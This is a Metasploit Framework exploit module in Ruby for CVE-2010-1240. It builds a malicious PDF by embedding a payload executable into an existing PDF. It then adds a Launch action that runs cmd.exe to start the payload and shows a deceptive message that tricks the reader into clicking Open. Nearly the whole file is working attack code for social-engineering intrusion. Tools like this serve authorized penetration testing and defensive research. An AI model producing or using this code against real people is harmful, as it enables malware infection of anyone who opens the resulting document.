##
# $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::PDF_Parse
	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Adobe PDF Embedded EXE Social Engineering',
			'Description' 	=> %q{
					This module embeds a Metasploit payload into an existing PDF file. The
				resulting PDF can be sent to a target as part of a social engineering attack.
			},
			'License'	=> MSF_LICENSE,
			'Author'	=>
				[
					'Colin Ames <amesc[at]attackresearch.com>', # initial module
					'jduck' # add Documents for vista/win7
				],
			'Version'        => '$Revision: 11353 $',
			'References'     =>
				[
					[ 'CVE', '2010-1240' ],
					[ 'OSVDB', '63667' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
				],
			'Payload'	=>
				{
					'Space'			    => 2048,
					'DisableNops'		=> true,
					'StackAdjustment'	=> -3500,
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
				],
			'DefaultTarget'	=> 0))

		register_options(
			[
				OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
				OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
				OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
				OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
					"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
			], self.class)
	end

	def exploit

		file_name = datastore['INFILENAME']
		exe_name = datastore['EXENAME']

		print_status("Reading in '#{file_name}'...")
		stream = read_pdf()
		print_status("Parsing '#{file_name}'...")
		pdf_objects = parse_pdf(stream)
		print_status("Parsing Successful.")
		xref_trailers 	= pdf_objects[0]
		trailers	= pdf_objects[1]
		startxrefs	= pdf_objects[2]
		root_obj	= pdf_objects[3]

		output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(output)
	end


	def ef_payload(pdf_name,payload_exe,obj_num)

		if !(payload_exe and payload_exe.length > 0)
			print_status("Using '#{datastore['PAYLOAD']}' as payload...")

			payload_exe = generate_payload_exe
			file_size = payload_exe.length
			stream = Rex::Text.zlib_deflate(payload_exe)
			md5 = Rex::Text.md5(stream)

		else
			print_status("Using '#{datastore['EXENAME']}' as payload...")

			file_size = File.size(payload_exe)
			stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
			md5 = Rex::Text.md5(File.read(payload_exe))

		end

		output = String.new()

		output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
		output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


		return output
	end

	def js_payload(pdf_name,obj_num)

		output = String.new()
		output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
		output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

		# change to the home drive/path no matter what
		output << "%HOMEDRIVE%&cd %HOMEPATH%"

		# check for the pdf in these dirs, in this order..
		dirs = [ "Desktop", "My Documents", "Documents" ]
		dirs.each { |dir|
			fmt = "&"+
				"("+
					"if exist \"%s\" "+
						"(cd \"%s\")"+
				")"
			fname = "%s\\\\#{pdf_name}.pdf" % dir
			output << fmt % [fname, dir]
		}
		launch_message = datastore['LAUNCH_MESSAGE']
		lines = []
		launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
		if (lines.length > 2)
			print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
		end

		output << "&"+
			# note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
			"(start #{pdf_name}.pdf)"+
			# note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
			("\n"*10) +
			launch_message+
			# note: this extra rparen is required.
			")"+
			">>>>\rendobj\r"

		return output

	end


	def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)

		file_name = file_name.split(/\//).pop.to_s

		match = file_name.match(/(.+)\.pdf/)
		if match
			pdf_name = match[1]
		end

		catalog = parse_object(xref_trailers,root_obj,stream)


		match = catalog.match(/Names (\d+ \d) R/m)
		if match

			names = parse_object(xref_trailers,match[1],stream)
			match = names.match(/EmbeddedFiles (\d+ \d) R/m)
			if match
				embedded_files = parse_object(xref_trailers,match[1],stream)
				new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
			else
				new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
			end

		else
			new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
		end

		if catalog.match(/OpenAction/m)

			match = catalog.match(/OpenAction (\d+ \d) R/m)
			if match
				open_action = "#{match[1]} R"

				if new_catalog
					if new_embedded_files
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end
				else
					if new_embedded_files
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end

				end
			else
				if new_catalog
					new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				else
					new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				end
			end
		else
			if new_catalog
				if new_embedded_files
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end

			else
				if new_embedded_files
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end
			end
		end



		pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
		pages = parse_object(xref_trailers,pages_obj,stream)

		page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
		page = parse_object(xref_trailers,page_obj,stream)

		match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		while match

			page_obj = match[1]
			page = parse_object(xref_trailers,page_obj,stream)
			match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		end

		match = page.match(/AA<<\/O (\d+ \d) R/m)
		if match
			aa = parse_object(xref_trailers,match[1],stream)
		end


		new_pdf = String.new()
		xrefs = String.new()


		if new_embedded_files
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i - 1
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 4

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_embedded_files
			xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

		elsif new_names
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i
			pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 5

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_names
			xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		else
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i + 1
			pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
			pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload
			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 6

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs
				new_pdf << "trailer\r\n"
				new_pdf << "<</Size #{new_size}/Prev #{startxref}"
				new_pdf << "/Root #{trailers[0].fetch("Root")} R"
				new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		end


		return new_pdf
	end
end
